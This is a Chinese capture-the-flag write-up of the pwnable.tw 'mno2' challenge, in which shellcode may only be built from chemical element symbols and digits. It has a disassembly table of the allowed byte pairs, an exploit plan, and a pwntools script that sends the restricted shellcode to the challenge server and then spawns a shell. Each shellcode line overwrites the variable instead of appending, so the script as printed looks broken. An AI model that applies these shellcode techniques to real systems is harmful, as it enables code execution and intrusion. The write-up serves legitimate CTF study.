题目分析
究极丧心病狂的题，只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提，题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。
可用指令分析：
代码语言：javascript复制H
0: 48 dec eax
He
0: 48 dec eax
1: 65 gs
Li
0: 4c dec esp
1: 69 .byte 0x69
Be
0: 42 inc edx
1: 65 gs
B
0: 42 inc edx
C
0: 43 inc ebx
N
0: 4e dec esi
O
0: 4f dec edi
F
0: 46 inc esi
Ne
0: 4e dec esi
1: 65 gs
Na
0: 4e dec esi
1: 61 popa
Mg
0: 4d dec ebp
1: 67 addr16
Al
0: 41 inc ecx
1: 6c ins BYTE PTR es:[edi],dx
Si
0: 53 push ebx
1: 69 .byte 0x69
P
0: 50 push eax
S
0: 53 push ebx
Cl
0: 43 inc ebx
1: 6c ins BYTE PTR es:[edi],dx
Ar
0: 41 inc ecx
1: 72 .byte 0x72
K
0: 4b dec ebx
Ca
0: 43 inc ebx
1: 61 popa
Sc
0: 53 push ebx
1: 63 .byte 0x63
Ti
0: 54 push esp
1: 69 .byte 0x69
V
0: 56 push esi
Cr
0: 43 inc ebx
1: 72 .byte 0x72
Mn
0: 4d dec ebp
1: 6e outs dx,BYTE PTR ds:[esi]
Fe
0: 46 inc esi
1: 65 gs
Co
0: 43 inc ebx
1: 6f outs dx,DWORD PTR ds:[esi]
Ni
0: 4e dec esi
1: 69 .byte 0x69
Cu
0: 43 inc ebx
1: 75 .byte 0x75
Zn
0: 5a pop edx
1: 6e outs dx,BYTE PTR ds:[esi]
Ga
0: 47 inc edi
1: 61 popa
Ge
0: 47 inc edi
1: 65 gs
As
0: 41 inc ecx
1: 73 .byte 0x73
Se
0: 53 push ebx
1: 65 gs
Br
0: 42 inc edx
1: 72 .byte 0x72
Kr
0: 4b dec ebx
1: 72 .byte 0x72
Rb
0: 52 push edx
1: 62 .byte 0x62
Sr
0: 53 push ebx
1: 72 .byte 0x72
Y
0: 59 pop ecx
Zr
0: 5a pop edx
1: 72 .byte 0x72
Nb
0: 4e dec esi
1: 62 .byte 0x62
Mo
0: 4d dec ebp
1: 6f outs dx,DWORD PTR ds:[esi]
Tc
0: 54 push esp
1: 63 .byte 0x63
Ru
0: 52 push edx
1: 75 .byte 0x75
Rh
0: 52 push edx
1: 68 .byte 0x68
Pd
0: 50 push eax
1: 64 fs
Ag
0: 41 inc ecx
1: 67 addr16
Cd
0: 43 inc ebx
1: 64 fs
In
0: 49 dec ecx
1: 6e outs dx,BYTE PTR ds:[esi]
Sn
0: 53 push ebx
1: 6e outs dx,BYTE PTR ds:[esi]
Sb
0: 53 push ebx
1: 62 .byte 0x62
Te
0: 54 push esp
1: 65 gs
I
0: 49 dec ecx
Xe
0: 58 pop eax
1: 65 gs
Cs
0: 43 inc ebx
1: 73 .byte 0x73
Ba
0: 42 inc edx
1: 61 popa
La
0: 4c dec esp
1: 61 popa
Ce
0: 43 inc ebx
1: 65 gs
Pr
0: 50 push eax
1: 72 .byte 0x72
Nd
0: 4e dec esi
1: 64 fs
Pm
0: 50 push eax
1: 6d ins DWORD PTR es:[edi],dx
Sm
0: 53 push ebx
1: 6d ins DWORD PTR es:[edi],dx
Eu
0: 45 inc ebp
1: 75 .byte 0x75
Gd
0: 47 inc edi
1: 64 fs
Tb
0: 54 push esp
1: 62 .byte 0x62
Dy
0: 44 inc esp
1: 79 .byte 0x79
Ho
0: 48 dec eax
1: 6f outs dx,DWORD PTR ds:[esi]
Er
0: 45 inc ebp
1: 72 .byte 0x72
Tm
0: 54 push esp
1: 6d ins DWORD PTR es:[edi],dx
Yb
0: 59 pop ecx
1: 62 .byte 0x62
Lu
0: 4c dec esp
1: 75 .byte 0x75
Hf
0: 48 dec eax
1: 66 data16
Ta
0: 54 push esp
1: 61 popa
W
0: 57 push edi
Re
0: 52 push edx
1: 65 gs
Os
0: 4f dec edi
1: 73 .byte 0x73
Ir
0: 49 dec ecx
1: 72 .byte 0x72
Pt
0: 50 push eax
1: 74 .byte 0x74
Au
0: 41 inc ecx
1: 75 .byte 0x75
Hg
0: 48 dec eax
1: 67 addr16
Tl
0: 54 push esp
1: 6c ins BYTE PTR es:[edi],dx
Pb
0: 50 push eax
1: 62 .byte 0x62
Bi
0: 42 inc edx
1: 69 .byte 0x69
Po
0: 50 push eax
1: 6f outs dx,DWORD PTR ds:[esi]
At
0: 41 inc ecx
1: 74 .byte 0x74
Rn
0: 52 push edx
1: 6e outs dx,BYTE PTR ds:[esi]
Fr
0: 46 inc esi
1: 72 .byte 0x72
Ra
0: 52 push edx
1: 61 popa
Ac
0: 41 inc ecx
1: 63 .byte 0x63
Th
0: 54 push esp
1: 68 .byte 0x68 //free push
Pa
0: 50 push eax
1: 61 popa
U
0: 55 push ebp
Np
0: 4e dec esi
1: 70 .byte 0x70
Pu
0: 50 push eax
1: 75 .byte 0x75
Am
0: 41 inc ecx
1: 6d ins DWORD PTR es:[edi],dx
Cm
0: 43 inc ebx
1: 6d ins DWORD PTR es:[edi],dx
Bk
0: 42 inc edx
1: 6b .byte 0x6b
Cf
0: 43 inc ebx
1: 66 data16
Es
0: 45 inc ebp
1: 73 .byte 0x73
Fm
0: 46 inc esi
1: 6d ins DWORD PTR es:[edi],dx
Md
0: 4d dec ebp
1: 64 fs
No
0: 4e dec esi
1: 6f outs dx,DWORD PTR ds:[esi]
Lr
0: 4c dec esp
1: 72 .byte 0x72
Rf
0: 52 push edx
1: 66 data16
Db
0: 44 inc esp
1: 62 .byte 0x62
Sg
0: 53 push ebx
1: 67 addr16
Bh
0: 42 inc edx
1: 68 .byte 0x68
Hs
0: 48 dec eax
1: 73 .byte 0x73
Mt
0: 4d dec ebp
1: 74 .byte 0x74
Ds
0: 44 inc esp
1: 73 .byte 0x73
Rg
0: 52 push edx
1: 67 addr16
Cn
0: 43 inc ebx
1: 6e outs dx,BYTE PTR ds:[esi]
Fl
0: 46 inc esi
1: 6c ins BYTE PTR es:[edi],dx
Lv
0: 4c dec esp
1: 76 .byte 0x76
11
0: 31 31 xor DWORD PTR [ecx],esi
12
0: 31 32 xor DWORD PTR [edx],esi
13
0: 31 33 xor DWORD PTR [ebx],esi
14
0: 31 .byte 0x31
1: 34 .byte 0x34
15
0: 31 .byte 0x31
1: 35 .byte 0x35
16
0: 31 36 xor DWORD PTR [esi],esi
17
0: 31 37 xor DWORD PTR [edi],esi
18
0: 31 38 xor DWORD PTR [eax],edi
19
0: 31 39 xor DWORD PTR [ecx],edi
10
0: 31 30 xor DWORD PTR [eax],esi
21
0: 32 31 xor dh,BYTE PTR [ecx]
22
0: 32 32 xor dh,BYTE PTR [edx]
23
0: 32 33 xor dh,BYTE PTR [ebx]
24
0: 32 .byte 0x32
1: 34 .byte 0x34
25
0: 32 .byte 0x32
1: 35 .byte 0x35
0: 32 36 xor dh,BYTE PTR [esi]
27
0: 32 37 xor dh,BYTE PTR [edi]
28
0: 32 38 xor bh,BYTE PTR [eax]
29
0: 32 39 xor bh,BYTE PTR [ecx]
20
0: 32 30 xor dh,BYTE PTR [eax]
31
0: 33 31 xor esi,DWORD PTR [ecx]
32
0: 33 32 xor esi,DWORD PTR [edx]
33
0: 33 33 xor esi,DWORD PTR [ebx]
34
0: 33 .byte 0x33
1: 34 .byte 0x34
35
0: 33 .byte 0x33
1: 35 .byte 0x35
36
0: 33 36 xor esi,DWORD PTR [esi]
37
0: 33 37 xor esi,DWORD PTR [edi]
38
0: 33 38 xor edi,DWORD PTR [eax]
39
0: 33 39 xor edi,DWORD PTR [ecx]
30
0: 33 30 xor esi,DWORD PTR [eax]
41
0: 34 31 xor al,0x31
42
0: 34 32 xor al,0x32
43
0: 34 33 xor al,0x33
44
0: 34 34 xor al,0x34
45
0: 34 35 xor al,0x35
46
0: 34 36 xor al,0x36
47
0: 34 37 xor al,0x37
48
0: 34 38 xor al,0x38
49
0: 34 39 xor al,0x39
40
0: 34 30 xor al,0x30
51
0: 35 .byte 0x35
1: 31 .byte 0x31
52
0: 35 .byte 0x35
1: 32 .byte 0x32
53
0: 35 .byte 0x35
1: 33 .byte 0x33
54
0: 35 .byte 0x35
1: 34 .byte 0x34
55
0: 35 .byte 0x35
1: 35 .byte 0x35
56
0: 35 .byte 0x35
1: 36 ss
57
0: 35 .byte 0x35
1: 37 aaa
58
0: 35 .byte 0x35
1: 38 .byte 0x38
59
0: 35 .byte 0x35
1: 39 .byte 0x39
50
0: 35 .byte 0x35
1: 30 .byte 0x30
61
0: 36 ss
1: 31 .byte 0x31
62
0: 36 ss
1: 32 .byte 0x32
63
0: 36 ss
1: 33 .byte 0x33
64
0: 36 ss
1: 34 .byte 0x34
65
0: 36 ss
1: 35 .byte 0x35
66
0: 36 ss
1: 36 ss
67
0: 36 37 ss aaa
68
0: 36 ss
1: 38 .byte 0x38
69
0: 36 ss
1: 39 .byte 0x39
60
0: 36 ss
1: 30 .byte 0x30
71
0: 37 aaa
1: 31 .byte 0x31
72
0: 37 aaa
1: 32 .byte 0x32
73
0: 37 aaa
1: 33 .byte 0x33
74
0: 37 aaa
1: 34 .byte 0x34
75
0: 37 aaa
1: 35 .byte 0x35
76
0: 37 aaa
1: 36 ss
77
0: 37 aaa
1: 37 aaa
78
0: 37 aaa
1: 38 .byte 0x38
79
0: 37 aaa
1: 39 .byte 0x39
70
0: 37 aaa
1: 30 .byte 0x30
81
0: 38 31 cmp BYTE PTR [ecx],dh
82
0: 38 32 cmp BYTE PTR [edx],dh
83
0: 38 33 cmp BYTE PTR [ebx],dh
84
0: 38 .byte 0x38
1: 34 .byte 0x34
85
0: 38 .byte 0x38
1: 35 .byte 0x35
86
0: 38 36 cmp BYTE PTR [esi],dh
87
0: 38 37 cmp BYTE PTR [edi],dh
88
0: 38 38 cmp BYTE PTR [eax],bh
89
0: 38 39 cmp BYTE PTR [ecx],bh
80
0: 38 30 cmp BYTE PTR [eax],dh
91
0: 39 31 cmp DWORD PTR [ecx],esi
92
0: 39 32 cmp DWORD PTR [edx],esi
93
0: 39 33 cmp DWORD PTR [ebx],esi
94
0: 39 .byte 0x39
1: 34 .byte 0x34
95
0: 39 .byte 0x39
1: 35 .byte 0x35
96
0: 39 36 cmp DWORD PTR [esi],esi
97
0: 39 37 cmp DWORD PTR [edi],esi
98
0: 39 38 cmp DWORD PTR [eax],edi
99
0: 39 39 cmp DWORD PTR [ecx],edi
90
0: 39 30 cmp DWORD PTR [eax],esi
01
0: 30 31 xor BYTE PTR [ecx],dh
02
0: 30 32 xor BYTE PTR [edx],dh
03
0: 30 33 xor BYTE PTR [ebx],dh
04
0: 30 .byte 0x30
1: 34 .byte 0x34
05
0: 30 .byte 0x30
1: 35 .byte 0x35
06
0: 30 36 xor BYTE PTR [esi],dh
07
0: 30 37 xor BYTE PTR [edi],dh
08
0: 30 38 xor BYTE PTR [eax],bh
09
0: 30 39 xor BYTE PTR [ecx],bh
00
0: 30 30 xor BYTE PTR [eax],dh主要思路：
- 把eax赋值为esp，然后向栈中写入esi/edi的值，以便借助异或清空esi/edi
- 借助
Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置 - 移动ecx的指针，同时修改esi/edi，借助异或语句制造出
int 0x80（至于用什么值异或可以另外写个脚本fuzz以下，可选的对象还是挺多的） - esi值得改变通过
inc/dec完成，可能会占掉很长一段，需要合理安排 - 调用到
SYS_read之后向最末尾读入可以直接getshell的shellcode（需要提前安排好ecx的位置）
EXP：
代码语言：javascript复制from pwn import *
#p = process("./mno2")
p = remote('chall.pwnable.tw','10301')
elf = ELF("./mno2")
context.log_level = "debug"
'''
reg status:
EAX 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */ shellcode start
EBX 0x0
ECX 0x0
EDX 0x8048890 ◂— dec eax /* 'H' */
EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
EBP 0xffffcf18 ◂— 0x0
ESP 0xffffcedc —▸ 0x80487ea (main 169) ◂— mov dword ptr [esp], 0
EIP 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */
'''
'''
target status1:
eax = 11
ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
ecx = 0
edx = 0
int 0x80 b'xcdx80'
'''
'''
target status2:
eax = 3
ebx =0
ecx = addr(end_of_shellcode)
edx = (big num)
int 0x80 b'xcdx80'
'''
shellcode = b"V" #push esi;
shellcode = b"Th1111" #push esp; push 0x33333333;
shellcode = b"XeXe" #pop eax;#pop eax;
shellcode = b"ThMoO2" #push esp; push 0x324f6e4d(shellcode start)
shellcode = b"30" #xor esi,DWORD PTR [eax];
shellcode = b"38" #xor edi,DWORD PTR [eax];
shellcode = b"Y" #pop ecx;
shellcode = b"O" #dec edi;
shellcode = b"19" #xor DWORD PTR [ecx],edi
shellcode = b"Ag"*1 #inc ecx;addr16;
shellcode = b"F"*0x46 #inc esi;
shellcode = b"11" #xor DWORD PTR [ecx],esi
shellcode = b"Ag"*1 #inc ecx;addr16; new shellcode start
shellcode = b"V" #push esi;
shellcode = b"Xe" #pop eax;
shellcode = b"Th1111" #pad;
shellcode = b"Hg"*0x43 #dec eax;
shellcode = b"B"*(0x100-len(shellcode))
shellcode = b"29"
def exp():
#gdb.attach(p, "b *0x80487E8ncn")
p.sendline(shellcode)
p.sendline(asm(shellcraft.sh()))
p.interactive()
if __name__ == "__main__":
exp()
